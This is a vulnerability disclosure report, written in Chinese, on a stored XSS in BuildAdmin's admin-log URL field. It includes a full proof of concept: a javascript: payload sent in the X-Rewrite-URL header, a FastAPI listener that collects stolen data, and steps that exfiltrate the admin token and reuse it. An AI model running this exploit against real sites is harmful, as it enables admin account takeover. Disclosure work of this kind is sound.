# BuildAdmin 漏洞报告 软件名称:BuildAdmin 开发者或厂商:build-admin 代码仓库:https://github.com/build-admin/BuildAdmin ## 1. 管理员日志 URL 字段存储型 XSS 简要描述:未登录的请求可以让管理员日志保存一段 `javascript:` 脚本,管理员点击该记录时脚本在后台执行,接管受害者账号。 影响版本:1.0.1 ~ 2.3.9 漏洞引入:[BuildAdmin commit 49349b38](https://github.com/build-admin/BuildAdmin/commit/49349b382fab63c8d7e256b725e4489ba308f5cf) 前置条件:管理员在后台查看特定日志。 ### 漏洞成因 后台应用注册了 `AdminLog` 中间件(`app/admin/middleware.php:4`),它对每个 POST、DELETE 请求写入一条操作日志(`app/common/middleware/AdminLog.php:19-20`,`auto_write_admin_log` 默认为 true),未登录的请求同样会被记录。日志字段由 `app/admin/model/AdminLog.php` 的 `record()` 方法组装: ```php # app/admin/model/AdminLog.php:145-153 commit 26daeaf24f self::create([ 'admin_id' => $adminId, 'username' => $username, 'url' => substr(request()->url(), 0, 1500), 'title' => $title, 'data' => !is_scalar($data) ? json_encode($data) : $data, 'ip' => request()->ip(), 'useragent' => substr(request()->server('HTTP_USER_AGENT'), 0, 255), ]); ``` `request()->url()` 在取值时优先读取 `HTTP_X_REWRITE_URL` 请求头,`REQUEST_URI` 排在其后: ```php # vendor/topthink/framework/src/think/Request.php:414-424 commit 26daeaf24f public function url(bool $complete = false): string { if ($this->url) { $url = $this->url; } elseif ($this->server('HTTP_X_REWRITE_URL')) { $url = $this->server('HTTP_X_REWRITE_URL'); } elseif ($this->server('REQUEST_URI')) { $url = $this->server('REQUEST_URI'); ``` 这个请求头由客户端填写,`record()` 不做协议校验,把它原样写进 `url` 字段。 后台日志列表的 URL 列使用 url 渲染器(`web/src/views/backend/auth/adminLog/index.vue:91`),点击打开按钮时把单元格的值赋给 `location.href`: ```ts // web/src/components/table/fieldRender/url.vue:32-38 commit 26daeaf24f const openUrl = (url: string, field: TableColumn) => { if (field.target == '_blank') { window.open(url) } else { window.location.href = url } } ``` 因此 `javascript:` 开头的日志内容会在管理员打开日志时执行。前端把管理员 token 与 refresh_token 保存在 localStorage 的 `adminInfo`(`web/src/stores/adminInfo.ts:54-56`),脚本读取该键即可取得管理员凭据。 ### 复现环境搭建 按官方文档准备 PHP 8.2、MySQL 8 与 Node.js 22,然后拉取源码并启动安装服务: ```bash git clone https://github.com/build-admin/BuildAdmin.git cd BuildAdmin composer install php think run ``` 浏览器访问 `http://127.0.0.1:8000/`,按页面引导完成安装,前端构建由安装流程自动完成。安装时数据库填 `buildadmin_com`,管理员账号设为 `Admin`,密码设为 `Admin@12345`。 攻击机一侧准备一个记录请求的服务: ```python import html from pathlib import Path import uvicorn from fastapi import FastAPI, Request from fastapi.responses import HTMLResponse LOG = Path("stolen.log") app = FastAPI() PAGE = """
{data}
"""
@app.get("/steal")
async def steal(request: Request):
data = request.query_params.get("d", "")
with LOG.open("a") as f:
f.write(data + "\n")
return HTMLResponse(PAGE.replace("{data}", html.escape(data)))
@app.get("/log")
async def log_page():
data = LOG.read_text() if LOG.exists() else ""
return HTMLResponse(PAGE.replace("{data}", html.escape(data)))
uvicorn.run(app, host="127.0.0.1", port=18999)
```
启动监听:
```bash
uv run --with fastapi --with uvicorn python server.py
```
下文中攻击机地址以 `127.0.0.1:18999` 表示。
### 复现过程
未登录向登录接口发送一次失败的登录请求,并用 `X-Rewrite-URL` 携带脚本:
```bash
curl -s -X POST 'http://127.0.0.1:8000/index.php/admin/index/login' \
-H "X-Rewrite-URL: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'username=xssprobe&password=wrongpass'
```
响应是登录失败提示,同时日志里已经多出一条记录:
```json
{"code":0,"msg":"验证码ID不能为空","time":1794450578,"data":null}
```
```sql
mysql> select id,admin_id,username,url from ba_admin_log\G
*************************** 1. row ***************************
id: 1
admin_id: 0
username: xssprobe
url: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))
```
用管理员账户登录后台,进入「权限管理」下的「管理员日志管理」,可以看到 ID 为 1、管理用户名为 `xssprobe` 的记录,URL 列显示 `javas` 开头的内容:

点击该行 URL 列的打开按钮,日志里的脚本被执行,攻击机收到管理员凭据:
```json
{"id":1,"username":"admin","nickname":"Admin","avatar":"/static/images/avatar.png","last_login_time":1794450596,"token":"d894fb9c-49b7-4d42-acd0-264c8c4815f8","refresh_token":"","super":true}
```
监听服务同时把这次请求展示出来:

用其中 `token` 请求管理员列表,接口返回超管所在的管理组与账号信息:
```bash
curl -s -H 'batoken: d894fb9c-49b7-4d42-acd0-264c8c4815f8' -H 'server: true' \
'http://127.0.0.1:8000/admin/auth.admin/index?limit=2'
```
```json
{"code":1,"msg":"","time":1794450635,"data":{"list":[{"group_arr":[1],"group_name_arr":["超级管理组"],"id":1,"username":"admin","nickname":"Admin","avatar":"\/static\/images\/avatar.png","email":"admin@buildadmin.com","mobile":"18888888888","last_login_time":1794450635,"last_login_ip":"192.168.64.1","motto":"","status":"enable","update_time":1794450635,"create_time":1794450550}],"total":1,"remark":""}}
```
把窃得的 `adminInfo` 原样写入浏览器的 localStorage,打开后台的管理员管理页面,即以超管身份进入:
